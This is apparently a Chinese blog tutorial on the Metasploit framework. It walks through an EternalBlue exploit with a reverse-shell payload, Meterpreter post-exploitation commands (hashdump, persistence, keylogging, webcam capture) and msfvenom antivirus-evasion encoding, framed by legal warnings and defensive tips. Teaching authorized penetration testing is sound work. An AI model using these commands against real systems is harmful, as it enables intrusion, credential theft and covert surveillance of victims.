Metasploit框架使用?

wen 网络安全 2

本文目录导读:

Metasploit框架使用?

  1. 基础架构与启动
  2. 工作流程与核心命令
  3. Meterpreter 常用操作(后渗透)
  4. 完整实战演示(以永恒之蓝为例)
  5. 常见问题与技巧
  6. 安全建议(防御视角)

Metasploit 是一个非常强大且广泛使用的渗透测试框架,用于发现、验证和利用安全漏洞,以及进行后渗透测试。

⚠️ 重要法律与道德声明: 在使用 Metasploit 之前,必须严格遵守以下原则:

  1. 获得明确授权: 只能在你拥有所有权已获得书面授权的系统、网络或设备上使用 Metasploit。
  2. 仅限合法用途: 未授权使用属于非法入侵计算机系统,会触犯《刑法》第285条、第286条等法律,构成非法获取计算机信息系统数据罪破坏计算机信息系统罪
  3. 学习环境: 建议在本地虚拟机(如 VirtualBox 或 VMware)中搭建靶机(如 Metasploitable 2/3、DVWA、VulnHub 靶机)或使用 Hack The Box、TryHackMe 等合法平台练习。

基础架构与启动

Metasploit 的核心组件包括:

  • msfconsole:主交互式控制台(最常用)。
  • Exploit(漏洞利用模块):攻击代码。
  • Payload(有效载荷):攻击成功后执行的代码(如建立远程控制连接)。
  • Auxiliary(辅助模块):扫描、嗅探、漏洞验证等。
  • Post(后渗透模块):提权、信息收集、驻留等。
  • Encoder(编码器):用于绕过杀毒软件的检测。
  • Listeners(监听器):等待目标回连的服务。

启动方式:

# 最常用
msfconsole
# 带数据库支持(用于存储扫描结果)
sudo msfdb init   # 首次初始化
sudo msfconsole

工作流程与核心命令

一个典型的渗透测试流程如下:

信息收集与扫描

使用 auxiliary 或 Nmap 集成功能。

# 在 msfconsole 中扫描端口
nmap -sV -Pn 192.168.1.10
# 使用漏洞扫描器 (SMB 漏洞扫描)
use auxiliary/scanner/smb/smb_ms17_010   # 永恒之蓝扫描
set RHOSTS 192.168.1.10
run

搜索与选择漏洞利用模块

# 搜索与特定服务/系统相关的漏洞
search eternalblue          # 搜索永恒之蓝
search type:exploit platform:windows smb
# 使用选中的模块
use exploit/windows/smb/ms17_010_eternalblue

设置参数 (show options)

show options   # 查看当前模块需要的参数
# 设置必需参数
set RHOSTS 192.168.1.10          # 目标IP
set RPORT 445                    # 目标端口
set LHOST 192.168.1.100          # 你的攻击机IP(用于反向连接)
set LPORT 4444                   # 你的攻击机端口

选择 Payload (攻击载荷)

show payloads   # 查看当前漏洞支持的载荷
# 设置一个反向TCP Shell(最常用)
set payload windows/x64/meterpreter/reverse_tcp
# 再次检查所有参数
show options

执行攻击

# 运行漏洞利用
run  或  exploit

如果成功,你会得到一个 meterpreter 会话。


Meterpreter 常用操作(后渗透)

meterpreter 是 Metasploit 最强大的 payload,可以看作是一个交互式后门,获取会话后:

# 查看当前会话信息
getuid                             # 查看当前用户
sysinfo                            # 查看系统信息
# 文件系统操作
pwd                                # 当前目录
ls                                 # 列出文件
upload /path/local/file C:\\       # 上传文件到目标
download C:\\secret.txt /attacker/ # 下载文件
# 进程与网络
ps                                 # 查看进程列表
migrate -N svchost.exe             # 将进程迁移到更隐蔽的进程(如svchost)
ifconfig                           # 查看网络配置
route                              # 查看路由表
# 提权与持久化
getsystem                          # 尝试提权到SYSTEM
run persistence                     # 创建持久后门
run post/windows/gather/hashdump  # 获取用户密码哈希
screenshot                         # 截取屏幕
keyscan_start                      # 开始键盘记录 (需要先迁移进程)
keyscan_dump                       # 获取键盘记录
webcam_snap                        # 通过摄像头拍照

完整实战演示(以永恒之蓝为例)

前提: 攻击机 Kali Linux (168.1.100),靶机 Windows 7 (168.1.10,未打补丁且445端口开放)。

启动 msfconsole 后操作:

# 1. 扫描确认
nmap --script smb-vuln-ms17-010 -p445 192.168.1.10
# 2. 使用漏洞
use exploit/windows/smb/ms17_010_eternalblue
# 3. 设置参数
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
# 4. 攻击 (可能需要几秒钟)
run
# 5. 成功后,进入Meterpreter会话
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM    # 直接获得最高权限
meterpreter > sysinfo
Computer        : WIN7-PC
OS              : Windows 7 (6.1 Build 7601, x64).
meterpreter > hashdump   # 转存SAM哈希

常见问题与技巧

  1. Payload 无法执行?

    • 尝试更换 target (如 set target 1show targets)。
    • 使用 staged payload (如 reverse_tcp) 和 stageless payload (如 reverse_tcp_stageless) 对比测试。
    • 检查防火墙是否阻挡了你的 LPORT
  2. 会话掉线?

    • 使用 background 将会话放入后台(回到 msfconsole)。
    • sessions -i 1 重新进入会话(1 为会话ID)。
  3. 避开杀毒软件?

    • 使用 encoderuse encoder/x86/shikata_ga_nai
    • 使用 msfvenom 生成自定义免杀载荷:msfvenom -p windows/meterpreter/reverse_tcp LHOST=... LPORT=... -f exe -o payload.exe -e x86/shikata_ga_nai -i 5
  4. 数据库管理:

    db_status                    # 查看数据库连接状态
    hosts                        # 列出所有扫描过的主机
    services                     # 列出服务
    notes                        # 查看笔记

安全建议(防御视角)

如果你在维护自己的网络,防止被 Metasploit 攻击:

  • 及时打补丁:关闭 ms17_010(永恒之蓝)、printnightmare 等高风险漏洞。
  • 最小化服务:关闭不需要的端口(如 445、135、139、3389)。
  • 使用强密码 并启用账户锁定策略。
  • 部署 EDR(端点检测与响应):如 CrowdStrike、SentinelOne,它们能检测 Meterpreter 的典型行为。
  • 网络分段:防止攻击从内网漫游。

Metasploit 是渗透测试的核心工具,但能力越大责任越大。请务必在合法授权下使用。 推荐从 TryHackMe 的“Metasploit”房间或免费课程开始系统学习。

抱歉,评论功能暂时关闭!